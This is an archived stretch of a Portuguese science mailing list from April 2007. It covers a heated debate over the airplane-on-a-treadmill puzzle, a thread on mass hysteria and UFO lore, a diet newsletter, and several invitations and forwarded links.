> confundindo. Ao se movimentar a esteira cria uma componente que move o
> avião na mesma direção do movimento da esteira. A menos que vc
considere um
> avião pendurado sem contato com a esteira ou contato especial com
atrito
> zero.


:))) Cruzes, que péssimos professores você teve. :)

Eu não estou me confundindo não, é que não há mesmo nenhuma componente
de força horizontal aplicada pela esteira ao avião. A esteira gira as
rodas do avião, mas as rodas não carregam o avião, apenas giram
(livres e soltas). :)

Pegue um carrinho de brinquedo, coloque-o em uma mesa horizontal,
sobre uma folha de papel sulfite, e puxe-a rapidamente; você verá que
o carrinho não segue a folha. Isso deve-se à inércia e ao pouco atrito
nos rolamentos da roda do carrinho.

Se você puxar a folha bem devagar ela arrastará o carrinho, mas isso
acontece porque HÁ um PEQUENO atrito suficiente para transmitir
pequenas forças capazes de acelerar o carrinho lentamente. Mas se você
supor (como está sendo suposto nesse problema) que não existe atrito
nenhum nos rolamentos da roda, então mesmo puxando a folha
infinitamente devagar você não moveria o carrinho, apenas giraria suas
rodas. Sacou?

É a mesma coisa o que acontecerá com o avião.


>
> JR - --"---------------------'--------------------- esteira
> _____________0___________ solo-terra c/ ponto de ref. 0
> | 1000m |
>
> 1.2 - Se as turbinas do avião estivessem acionadas e ele tivesse
> acelerado simultaneamente com a esteira - conforme o enunciado
> do problema - ele teria percorrido *sobre a esteira* os mesmos
> 1000 metros à direita.
>
> Corretíssimo, e lembrando sempre que estamos tomando o solo como
> referêncial.
> JR1 - Acima eu estou plotando os dois referenciais coincidindo o ponto
> 0 no solo-terra com o ponto ( ' ) na esteira. O ponto ( " ) também são
> coincidentes a 1000 m à esquerda tanto no solo como na esteira. Esse
> esquema acima é a "foto" tirada no momento após 10s da esteira ser
> acionada e acelerada.


Nada a comentar aqui.


> JR - Isto é, continuaria posicionado no ponto 0 no solo-terra.
> Isto é, não teria se movimentado em relação ao solo e ao ar que
> o circunda. É como se estivesse estacionado no ponto 0 no solo-terra.
>
> ERRADO, pois ele não foi arrastado para trás pela esteira e, da mesma
> forma, suas turbinas não interferem no movimento da esteira, mas tão
> somente no movimento do avião. Assim, em relação ao solo, o avião
> teria se deslocado 1000 m para a direita, exatamente como no primeiro
> caso.
> JR1 - Por que vc acha que a esteira não carrega o avião para trás?


Eu não acho, eu tenho certeza. (Professor é tudo metido a besta) :)

Foi explicado mais acima, espero que você tenha compreendido dessa
vez. Mas se não compreendeu, é só dizer qual parte e lá vamos nós de
novo...


> Veja que,
> para seu melhor entendimento, eu estou raciocinando os movimentos
> por partes para depois considerá-los simultaneamente, OK? Se as turbinas
> estão paradas, a esteira vai acelerar carregando o avião com ela.


NÃO, conforme explicado acima.


> Após
> 10s, o avião e o ponto de ref na esteira que coincidia com o pto de ref
> situado no solo, está agora a 1000m à esquerda.


NÃO, conforme explicado acima.


> JR - Sabemos que avião estacionado não alça vôo... A não ser quando
levado
> por um furação.
>
> Exatamente, no entanto o avião não está parado em relação ao chão e,
> por isso, ele voa! :)
> JR1 - Quando os dois movimentos são realizados simultaneamente, após
os 10s,
> a esteira terá carregado o avião 1000m à esquerda e, nesse mesmo
período de
> 10s, as turbinas terá movimentado o avião 1000m para a direita.
> No final teremos -1000 + 1000 = zero. Mas, nesse caso, isso ocorre
> de forma simultânea em parcelas infinitesimais.


NÃO conforme explicado acima. Não há movimento de arrasto do avião no
sentido do movimento da esteira. A esteira APENAS FAZ GIRAR AS RODAS
DO AVIÃO. :)


> > Caso não tenha entendido alguma passagem peço especificar.
>
> Entendi todas as passagens. Espero que tenha entendido as explicações.
>
> Para complementar meus comentários e tentar ajudá-lo um pouco mais a
> superar esse problema de interpretação sugiro que atente para o fato
> de que seu erro não diz respeito aos referenciais adotados, que
> na verdade foram o mesmo - o chão - nos dois casos, mas sim o de
> admitir dois tipos de interação diferentes entre a esteira e o avião:
> JR1 - Veja que eu considero no esquema o pto de ref na esteira ( ' ) e,
> após 10s, o ponto ( " ) à esquerda.


Eu sei o que você fez (na noite passada, he he) José Renato. Foi um
erro banal (no sentido de que qualquer um, sabendo ou não Física, pode
cometê-lo vez por outra). Muitos o cometem. Não ligue para meu
sarcasmo, é que eu me divirto ensinando as pessoas que não querem
"aprender" porque são "pirracentas". :)


> Primeiro caso: você considerou, corretamente (pelas condições do
> problema), que o movimento da esteira não afeta o movimento do avião,
> ou seja, a esteira não carrega o avião;
> JR1 - Explique porque a esteira não carrega o avião pousado sobre
> ela com as turbinas paradas... Esteira transportadora que não
> transporta me é estranha.


Foi explicado acima. Mas caso ainda reste alguma dúvida relativa ao
"peso" do avião, perceba que isso não importa já que não há atrito no
rolamento da roda. Se o avião pesar 1 N ou 10^9 N isso só irá alterar
a força de contato entre a roda e a esteira, mas essa força é vertical
se a esteira estiver na horizontal e, portanto, não possui nenhuma
componente na horizontal capaz de alterar o movimento horizontal do avião.

Experimente patinar carregando alguns sacos de arroz nos braços, você
notará que seu movimento não se modificará muito devido ao peso extra
(você não perderá velocidade significativamente mais rápido do que sem
os pesos extras). Isso ocorre, novamente, porque o atrito no rolamento
das rodas é pequeno. Se esse atrito fosse nulo você não notaria
nenhuma diminuição no movimento, pois não haveria nenhuma resultante
horizontal.



> Segundo caso: você considerou no mesmo problema, e erroneamente (pelas
> condições do problema), que o movimento da esteira afeta o movimento
> do avião, ou seja, que a esteira carrega o avião.
> JR1 - Gostaria de saber porque vc acha que a esteira não carrega o avião
> pousado sobre ela com turbinas paradas, igual a um pacote sobre qualquer
> esteira usada para transporte.


Porque o pacote não possui rolamento. O atrito entre o pacote e a
esteira é o atrito estático (pacote parado sobre a esteira) e de
escorregamento (sem rolar). Esse tipo de atrito depende diretamente da
força de compressão (força Normal - com a mesma intensidade do peso no
caso do avião na superfície horizontal) entre as superfícies do pacote
e da esteira (Formuleca: Atrito estático máximo = coeficiente de
atrito estático X força Normal). Se o pacote for cilíndrico e puder
rolar sobre a esteira o atrito será de rolamento e é calculado de
outra forma, mas ainda assim depende da força Normal. Mas no caso de
rodas que giram presas a rolamentos internos só há transmissão de
forças horizontais se houver atrito nesses rolamentos internos da roda
(procure na internet algumas imagens de rolamentos com eferas ou
cilindros entre o eixo e a roda). Nesse último caso o peso do corpo
afeta menos o movimento e, no caso idealizado no probleminha do avião,
esse atrito foi totalmente desprezado (e se não tivesse sido, a parte
I da sua explicação estaria furada, pois lá você desprezou esse atrito).


> Provavelmente seu erro se deve a uma má compreensão conceitual do
> "atrito", pois no primeiro caso você consegue facilmente desprezar o
> atrito dos rolamentos da roda do avião, o que faz com que você perceba
> corretamente que o movimento da esteira apenas aumenta a velocidade de
> rotação das rodas do avião, mas não afeta o movimento do próprio
> avião. Já no segundo caso, talvez pelo fato de que o avião esteja
> inicialmente em repouso, você passou a "admitir um atrito inexistente"
> que "carregaria o avião" no sentido do movimento da esteira; porém,
> tudo o que você veria seria uma esteira rolando para a esquerda, as
> rodas do avião girando e o avião parado até o momento em que liga sua
> turbinas e então começa a se mover para a direita.
> JR1 - O atrito considerado é o normal de qualquer avião.


Báh, aluno enrolão! :)))

Esse "O atrito considerado é o normal de qualquer avião" é onde
costumo colocar meu X nas correções. :)))

O atrito considerado no problema foi apenas o atrito entre o ar e o
avião, não nos rolamentos das rodas.

Não me venha com churumelas, veja a explicação que dei acima e fique
craque em atrito. ;)


> Então seu problema não é com os referenciais (e veja que você usou
> sempre o mesmo referencial), mas sim com o conceito de atrito (e,
> provavelmente, também com o conceito de inércia).
> JR1 - Reveja minhas explicações com calma e confirme que eu estou
> considerando no primeiro caso o pto ref 0 no solo-terra e no segundo o
> pto ref ( ' ) coincidindo com o ponto 0, antes dos movimento iniciarem.


Ê José, relaxa, eu ganho a vida para ter calma e paciência. :)))

Eu sempre confiro tudo. Você está errado sim e agora acho que já
percebeu isso claramente. Mas isso não é nenhum pecado, eu não sou
cristão e não vou lhe cobrar o dízimo. Então aproveite a oportunidade
e conserte o "erro de formação" que havia. Relaxe. Se ninguém errasse
nunca eu perderia os meus empregos. Coloque a culpa no seu
ex-professor e bola pra frente. ;)


> Espero ter ajudado.
> JR1 - Só dialogando com objetividade é que podemos perceber
> o que o outro já sabe e o que ainda não sabe.


Yes! Objetividade, essa é a palavra. Você está me saindo um ótimo
aluno. (Depois eu mando a fatura, he he).


Abraços,
JC


> Abraços,
> Prof. JC
>
> Abraços
> José Renato
> ..................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Saturday, April 14, 2007 1:29 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> > :)
> >
> >
> > Olá José Renato,
> ( apaguei o restante )



SUBJECT: Re: [ciencialist] Histeria coletiva afeta 600 meninas no México: a conexão OVNI
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/04/2007 15:58

Como um transtorno "associado" a fatores de stress pode ser causado por um
desenho animado?! E de bichinhos fofinhos, ainda? E como seria acionado um
transtorno "coletivo" ou "de massas", considerando que cada crian�a v� tv em
sua propria casa ?

"Pequena Porcentagem" "por epilepsia", s� poder ser brincadeira: O meu
"master System" com �culos 3d vinha com aviso para crian�as com esse tipo
epilepsia tomarem cuidado com as sequ�ncias coloridas dos jogos "3d" da
�poca.

Gil

Em 16/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
>
> (... ) Este transtorno faz refer�ncia ao que tradicionalmente se denomina
> histeria
> coletiva ou histeria de massas. Trata-se de um fen�meno grupal ou coletivo
> onde os afetados geralmente s�o jovens, que desenvolvem sintomas como
> n�usea, vertigem, diarr�ia e
> altera��es no passo, e que n�o possui explica��o biol�gica demonstr�vel,
> al�m de estar associados a fatores de estresse.
>

(...) Os casos recentes de transtornos conversivos epid�micos ocorreram
> principalmente entre colegiais, com adolescentes submetidos a diversas
> situa��es de estresse.
>
> .
> Um caso especialmente not�vel � a histeria coletiva Pokem�n em
> 1997 da qual muitos ainda devem se lembrar. Um epis�dio da s�rie animada
> levou
> centenas de crian�as a relatar mal-estar, mas apenas uma pequena
> porcentagem
> destas de fato foi afetada por ataques de epilepsia provocados pelas cores
> vibrantes piscando na TV. A enorme maioria das centenas, milhares de
> crian�as relatando sintomas f�sicos participava de um surto de histeria
> coletiva. Este exemplo � especialmente relevante ao sublinahr tanto que a
> histeria coletiva � mais comum do que se imagina, quanto como os afetados
> n�o s�o loucos delirantes. No contexto em que a histeria ocorre, � mesmo
> socialmente aceit�vel apresentar tais sintomas.
> Histerias coletivas n�o devem ser confundidas com ilus�es em massa, que
> n�o
> envolvem relatos de sintomas f�sicos, apesar de haver muitas similaridades
> entre ambos fen�menos. Um caso especialmente interessante de ilus�o em
> massa
> � o do Pente Rob�tico Sionista Derretedor de
> P�nis<http://www.ceticismoaberto.com/news/?p=385>.
> A rela��o destes fen�menos com o ceticismo � evidente, e d� toda uma nova
> perspectiva a diversos casos misteriosos e inexplic�veis da ufologia e
> paranormal.
> Poderia ser o fen�meno "chupa-chupa" na
> Amaz�nia<
> http://redeglobo.globo.com/Linhadireta/0,26665,GHT0-4604-212882,00.html>,
> investigado por alguns militares brasileiros, um caso de histeria
> coletiva?
> Uf�logos e entusiastas ficar�o revoltados com a simples sugest�o, todavia,
> como explicamos acima, a sugest�o n�o � t�o descabida. O caso de Villa de
> Las Ni�as tamb�m deixa evidente que sintomas f�sicos reais, como joelhos
> inchados, podem ocorrer em surtos de histeria � como vimos, sintomas
> f�sicos
> reais s�o o fator essencial para diferenciar ilus�o de histeria em massa.
> Talvez o mais relevante para entender o que pode ter ocorrido na Amaz�nia
> h�
> duas d�cadas seja ler um pouco mais sobre o que ocorreu na �ndia h� alguns
> anos: a histeria coletiva
> Muchnowa<http://news.bbc.co.uk/2/hi/south_asia/2205194.stm>.
> Em meados de 2002, ao norte do pa�s, um "misterioso objeto voador
> supostamente atacou mais de 100 pessoas enquanto dormiam. Eles viam um
> flash
> de luz, sentiam um choque e um objeto s�lido, e emergia com rostos e
> membros
> arranhados". Chamaram o vil�o de Muchnowa, que em Hindi significa "coisa
> que
> morde ou pica o rosto", muito similar ao "chupa-chupa" brasileiro, que
> mordia ou picava suas v�timas para sugar seu sangue. As marcas deixadas
> pelo
> Muchnowa tamb�m s�o muito similares �s do chupa-chupa, arranh�es, e
> incluem
> mesmo supostas queimaduras.
> Embora a prov�vel rela��o entre o Muchnowa e o Chupa-chupa j� desprove
> alega��es de uf�logos alienados de que o caso brasileiro seria "�nico",
> uf�logos talvez ainda um pouco alienados automaticamente defenderiam que
> longe de desprovar a origem extraterrestre do Chupa-chupa, o Muchnowa o
> corroboraria. Seriam os mesmo alien�genas atacando novamente em regi�es
> isoladas e paup�rrimas do mundo. � uma possibilidade, digamos, mas cabe
> lembrar aqui que pouco antes do p�nico Muchnowa, a �ndia sofreu com o
> p�nico
> do Homem-Macaco<
> http://www.discoverybrasil.com/guia_paranormal/paranormal_criptozoologia/paranormal_macaco/index.shtml
> >.
> Estou seguro que uf�logos alienados n�o hesitariam em lembrar como a
> ufologia tem catalogada a tipologia extraterrestre incluindo alien�genas
> peludos, mas espero que pelo menos alguns vejam o p�nico do Homem-Macaco
> como evid�ncia da extens�o de ilus�es e histeria em massa na �ndia, e como
> fator relevante na compreens�o do Muchnowa e, talvez, do Chupa-Chupa. Em
> ingl�s, tenho um sum�rio preliminar mais detalhado sobre a Opera��o
> Prato<http://www.ceticismoaberto.com/research/prato/old.htm>servido
> aos interessados.
>
> Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
> Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
> Parapsicologia<http://www.ceticismoaberto.com/news/?cat=8>,
> Extraterrestres <http://www.ceticismoaberto.com/news/?cat=10>,
> Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori
> Comente!
> � <http://www.ceticismoaberto.com/news/?p=869#respond>
>
> *Posts relacionados:*
> - <$BlogItemSubject$>
> <http://www.ceticismoaberto.com/news/?p=385>Pente Rob�tico Sionista
> Derretedor de P�nis "O...
> - <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=296> O
> "OVNI" da Pizzaria Dom Rom�o Sobre como uma c...
> - <$BlogItemSubject$>
> <http://www.ceticismoaberto.com/news/?p=382>Noite estrelada Un 'Van
> Gogh' para la 'Alerta OV...
> - <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=468> O
> que � isso? Um p�ssaro? Um avi�o? Bem, j� ...
> - <$BlogItemSubject$>
> <http://www.ceticismoaberto.com/news/?p=353>Apenas outro OVNI de
> v�rtice N�o sabe o que �...
>
>
> [As partes desta mensagem que n�o continham texto foram removidas]
>
>
>
> ##### ##### #####
>
> P�gina de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Pedra de Roseta (convite)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/04/2007 16:34

Olá C-listeiros!

Como todos vcs já devem ter notado, não tenho mais a
liberdade de me expressar analogicamente aqui na
c-list. Estou sobre moderação extrema. Aliás, não só
eu, como qualquer um de voces que usarem do mesmo
procedimento: pensamento analogico. E principalemnte
se estes pensamentos tratarem de questões universais.
Mas enfim, sendo assim, para que o pensamento
analógico tenha seu lugar no processo de investigação
e compreenção da realidade, crie uma lista onde isto
é, além de permitido, incentivado. A lista se chama
"Pedra de Roseta". O porque deste nome e o objetivo da
lista já explico logo abaixo. Este é o link para a
página no yahoo:

http://br.groups.yahoo.com/group/pedraderoseta

Para participar da Pedra de Roseta tem dois jeitos:

1) Clique no link acima e faça sua inscrição na
própria pagina do yahoo.

2) Responder este email pro endereço abaixo e vc já
estará automaticamente cadastrado:

pedraderoseta-subscribe@yahoogrupos.com.br

SOBRE A LISTA PEDRA DE ROSETA

Durante muito tempo a escrita egípcia foi um código
indecifrável. Haviam muitos escritos, mas sem
significado nenhum, pois não havia um dicionário de
tradução. Foi então que, por acidente, um soldado
francês tropeçou numa pedra cheia de sinais. Esta
pedra ficou conhecida como pedra de Roseta. Tratava-se
de uma pedra com um texto escrito em três línguas:
hieroglífico, demótico e grego. O dicionário de
tradução havia sido encontrado. O grego era o tradutor
entre os pesquisadores e os hieróglifos egípcios. Se
você tropeçou aqui nesta lista, acaba de encontrar uma
pedra de Roseta também. “Assim como é em cima, é
embaixo”, nos ensina o patriarca egípcio Hermes
Trimegistros. É com base nesta caracteristica
universal (analogia) que os integrantes desta lista se
propoe a investigar e debater a relação entre
metafísica e física, invisível e visível, universal e
humano. O desconhecido é imagem e semelhança do
conhecido (é analogo). A pedra de Roseta, tradutora
entre os hieróglifos da natureza e nós, está dentro de
nós mesmo, ela se chama “pensamento analógico”. Assim,
o objetivo desta Lista de Roseta não é descobrir algo
novo sobre a existência, mas tropeçar e reconhecer as
relações analógicas em tudo que existe.

O BLOG DA PEDRA DE ROSETA

http://pedraderoseta.blogspot.com

Este aqui é o blog onde estou armazenando os arquivos
que tenho escrito sobre o assunto.


Qualquer dúvida entre em contato.


sinceramente
Ferrari












- - - - - - - - - - - - - - -

EXPERIMENTE XIXI COM TINTA
O novo livro de Marcelo Ferrari:
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664

Para receber meus textos inéditos, envie um email para:
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Meu portal:
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SUBJECT: Re: [ciencialist] Pedra de Roseta (convite)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/04/2007 19:56

"Existem 10 tipos de pessoas no mundo:
As que entendem binário e as que não entendem."

Agradeço ao convite de pensar analogicamente nessa nova lista. Assim que houver oportunidade farei uma visita.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 17 de abril de 2007 16:34
Assunto: [ciencialist] Pedra de Roseta (convite)


Olá C-listeiros!

Como todos vcs já devem ter notado, não tenho mais a
liberdade de me expressar analogicamente aqui na
c-list.
[ ... ]


SUBJECT: Re: [ciencialist] Pedra de Roseta (convite)
FROM: "André Resende" <resende@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/04/2007 20:04

auhauhauahu

On 4/17/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
> "Existem 10 tipos de pessoas no mundo:
> As que entendem binário e as que não entendem."
>
> Agradeço ao convite de pensar analogicamente nessa nova lista. Assim que
> houver oportunidade farei uma visita.
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Ferrari" <emailferrari@yahoo.com.br <emailferrari%40yahoo.com.br>>
> Para: <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>
> Enviada em: terça-feira, 17 de abril de 2007 16:34
> Assunto: [ciencialist] Pedra de Roseta (convite)
>
> Olá C-listeiros!
>
> Como todos vcs já devem ter notado, não tenho mais a
> liberdade de me expressar analogicamente aqui na
> c-list.
> [ ... ]
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Por que as Dietas não funcionam?
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 17/04/2007 20:42

___________________________________________________________________
DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 17/04/2007 - No.047

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© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

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___________________________________________________________________

Olá,

Um dos temas mais recorrentes nos e-mails que recebo são pedidos de dietas infalíveis. Todo mundo quer um roteiro para perder aqueeeeles quilinhos que sobram na balança.

A mania de regimes se tornou tão disseminada em nosso meio, que as Sociedades e Associações Médicas estão enviando comunicados aos médicos para restringir a emissão de receituários para Anorexígenos – aqueles remédios controladores do apetite que 12 entre 10 brasileiros em regime adoram usar.

Com tanta gente fazendo regime, como pode ainda existir um contingente tão grande de obesos? Em outras palavras: por que as dietas não funcionam?

A resposta, você encontrará logo abaixo. Espero que seja uma boa leitura.

Um abraço,


Dr. Alessandro Loiola.

___________________________________________________________________


Por que as Dietas não funcionam?

© Dr. Alessandro Loiola

Não sou uma pessoa de muitas manias, mas admito: sou viciado em ler. Leio de tudo. Desde livros com mais de 4 Kg de peso e jornais com nomes tão esquisitos quanto Ned Tijdschr Tandheelkd, até revistas em quadrinhos e embalagens de biscoito.
Com o início da Internet, descobri um novo fornecedor gratuito e inesgotável para o meu vício: as listas de e-mails. Participo de dezenas delas, recebendo toneladas de artigos e textos todos os dias, alguns bizarros, outros bastante úteis.
Um dos mais recentes, da revista eletrônica Doctor’s Guide, informava que jamais na história os Americanos fizeram tanta dieta: nada menos que 24% dos homens e 40% das mulheres atualmente estão fazendo algum tipo de dieta para emagrecer. A psicose anti-gordura nos Estados Unidos atingiu níveis tão astronômicos que a indústria do emagrecimento já movimenta mais de 50 bilhões de dólares a cada ano naquele país.
A parte curiosa do fato é: observe os documentários ou imagens que mostram as grandes cidades dos EUA. Não se fixe no apresentador (que quase sempre é magro e tem dentes perfeitos). Preste atenção nas pessoas que passam ao fundo. Você verá que 1 de cada 3 americanos está bem acima do peso! No Brasil, mais de 70 milhões de pessoas possuem gordurinhas em excesso e cerca de 1 em cada 10 são consideradas obesas.
Mas ora, com tanta gente obcecada por regimes e pela boa forma, porque as dietas não funcionam?
Inicialmente, você deve entender que as dietas contribuem para a Obesidade, ao invés de combatê-la. Mais de 50% dos pacientes em tratamento para distúrbios alimentares afirmam que o problema foi precipitado por uma dieta muito prolongada. Ademais, está comprovado estatisticamente que as dietas só funcionam de verdade em 5-10% dos casos.
A imensa maioria das pessoas que fizeram regime recupera o peso perdido nos 5 anos seguintes – muitas vezes, com uma boa margem de lucro. Os cientistas acreditam que a explicação para este fato está na atividade de uma enzima chamada Lipase Lipoprotéica, envolvida na formação dos depósitos de gordura. Quando a dieta é interrompida, a Lipase volta a atuar com tanta vontade que, em pouco tempo, seu corpo terá mais gordura que antes da dieta.
Uma dieta muito severa também pode resultar em danos psicológicos e alterações orgânicas potencialmente graves, incluindo depressão, distúrbios da ansiedade, desânimo, anemia, diminuição da capacidade de defesa do organismo, desnutrição e osteoporose, entre outros.
Na base do raciocínio, está a conclusão que as dietas não são bem sucedidas em manter a perda de peso no longo prazo porque atuam na conseqüência do problema (obesidade), e não na sua causa (maus hábitos alimentares). Se você deseja recuperar a boa forma e mantê-la por um tempo indefinido, então você não precisa de dieta. Precisa de Reeducação Alimentar.
De acordo com os especialistas, o termo Reeducação Alimentar se refere à adoção de um padrão alimentar e comportamentos mais saudáveis (p.ex.: prática regular de exercícios), promovendo o bem estar geral do organismo. Este é o segredo para manter-se dentro do peso ideal.
Fazer a dieta da Lua, do Yin-Yang, do abacaxi ou do raio-que-o-parta não irá colocar você no caminho correto. Será apenas mais uma forma de enrolar antes de tomar a decisão mais acertada: procurar seu médico ou nutricionista e fazer um plano definitivo para vencer o vício da comida. Quem sabe, começar trocando-o pelo vício da leitura já seja um bom começo.

---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (www.editoranatureza.com.br). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Balanço do avião - Nova situação
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/04/2007 21:15

Luiz, parece-me que vc também incorporou o atrito especial igual a zero ao
enunciado do problema original. Para avaliar corretamente meu raciocínio de
que o avião não voa, quando é considerado o ponto de ref para as medições
dos movimentos na própria esteira, será necessário voltar ao enunciado
original que não inclui atrito zero. Vale lembrar que se o atrito entre o
avião e a esteira for zero o problema perde o sentido. Afinal, o que o torna
interessante é exatamente a interação entre os movimentos do avião e o da
esteira.
[]s
José Renato
..........................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 17, 2007 8:37 AM
Subject: Re: [ciencialist] Balanço do avião - Nova situação


Olá J. Renato,

com satisfação darei meu parecer 'divino'.

Antes, porém, reflita sobre a seguinte situação: sobre uma folha de jornal
esticada sobre a mesa e bem no seu centro há uma xícara. Se vc puxar
rapidamente o jornal rente à mesa a xícara sairá do lugar? Ela acompanha o
jornal?

Se vc concluir que a xícara acompanhará o jornal nesse puxão, nada poderei
explicar sobre o avião pousado sobre uma esteira, com rodas 'desbrecadas' e
atritos nulos.

Mas, a conclusão é: o avião (nas condições especificadas) pousado sobre a
esteira não acompanhará a esteira no seu movimento, desde que a esteira se
desloque na mesma direção da fuselagem do avião. Se a esteira for puxada na
direção das asas, ai sim, o avião acompanhará a esteira (mas, esse não é o
caso em questão).
Ao ligar as turbinas o avião se moverá independentemente da existência ou
não da esteira e, existindo, não importará seu sentido de movimento ao longo
da direção do movimento do avião.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 16 de abril de 2007 19:42
Assunto: Re: [ciencialist] Balanço do avião - Nova situação


Luiz, para não deixar a situação anterior inconclusa, como ocorreu há uns
dois anos, antes de analisar essa nova proposta gostaria de ter seu parecer
sobre a questão que já está em discussão.
Abraços
José Renato
............................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 16, 2007 12:32 PM
Subject: [ciencialist] Balanço do avião - Nova situação


Olá J. Renato e todos da thread do avião/esteira,

vou propor uma nova situação e apreciaria sugestões:

Um avião à hélice ou jato (não importa) prepara-se para aterrar numa longa
pista e baixa seu trem de pouso. Aproximando-se da cabeceira da pista, já
quase tocando o solo o piloto percebe que a pista útil (faixa de pouso) é
constituída por uma interminável esteira em movimento.
Ele percebe tb que no justo instante em que as rodas tocam a esteira, essa
tem a mesma velocidade do avião e mesmo sentido de movimento. Ele não aciona
freio algum pois percebe que a esteira já está suportando o peso do aparelho
e que as rodas estão paradas em relação à esteira (não transladam e não
giram); mas desliga os motores. Não se preocupe com o comprimento da
esteira; ela vai até onde nos interessar e, eventualmente, poderá ir
lentamente diminuindo sua velocidade em relação ao solo esqueça tb qqer
atrito de escorregamento ou rolamento das rodas.
O avião para em relação ao solo ou continua acompanhando a esteira?

[]'

Nota: Outrossim, lembro, delete as partes repetitivas e os pés das
mensagens.
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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Version: 7.5.446 / Virus Database: 269.5.1/764 - Release Date: 17/4/2007
04:43




SUBJECT: convite FIEE
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, FreeEnergy-BR@yahoogrupos.com.br
DATE: 17/04/2007 22:19

Oi pessoal, bem?
Estão todos convidados p/passar em nosso stand na Feira da Eletro-Eletrônica
e no mínimo, tomar um treim comigo.
De 23 a 27/abril, das 13 às 21h.
Stand ''L51'' ( de fácil memorização ''L'' de Lula e ''51'' também dele.)
Até lá,
abraço. Muliro - Instrumenti
SP 17/abri07




SUBJECT: 3D Solar Cells Boost Efficiency
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/04/2007 22:26

( pra quem gosta! )


>Subject: [free_energy] 3D Solar Cells Boost Efficiency
>Date: Tue, 17 Apr 2007 13:15:06 -0000
>
>Nano-Manhattan: 3D Solar Cells Boost Efficiency
> While Reducing Size, Weight and Complexity of Photovoltaic Arrays
>
>
>http://gtresearchnews.gatech.edu/newsrelease/3d-solar.htm
>
>
>
>
>
>
>
>
>
>
>
>
>
>Get your daily alternative energy news
>
>Alternate Energy Resource Network
>1000+ news sources-resources
> updated daily
>
>http://www.alternate-energy.net
>
>
>
>Next_Generation_Grid
>
>http://tech.groups.yahoo.com/group/next_generation_grid
>
>
>Alternative_Energy_Politics
>
>http://tech.groups.yahoo.com/group/Alternative_Energy_Politics
>
>
>Tomorrow-energy
>
>http://tech.groups.yahoo.com/group/tomorrow-energy
>
>
>Earth_Rescue_International
>
>http://groups.yahoo.com/group/Earth_Rescue_International
>
>
>
>
>
>To drop of the list, send email to:
>free_energy-unsubscribe@yahoogroups.com
>Yahoo! Groups Links
>
>
>




SUBJECT: Re: [ciencialist] COMO NASCE UM PARADIGMA
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/04/2007 22:36

Gente, a sacada é outra! Minha intensão era outra.
Não há o que se discutir de Pavlov, macacos e ostras...
O texto é para ressaltar o mecanismo comportamental na criação de padrões,
ou paradigmas.
Isto é, o modelo macacal retratando o modelo dos humanos.
Simples!
Exemplos? Dogmas diversos ( inclusive científicos ) e superstições.
Eu, heim?!?! abr/M. SP 17/abril


>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA
>Date: Tue, 17 Apr 2007 11:47:45 -0300
>
>Álvaro:
>
>Perdeito. Apenas as idéias dele foram e estãosendo sempre aperfeiçoadas.
>Ele lançou a teoria e como sempre outros cientistas vão procurando
>variações em torno do tema.
>
>sds.,
>silvio
> ----- Original Message -----
> From: Alvaro Augusto (L)
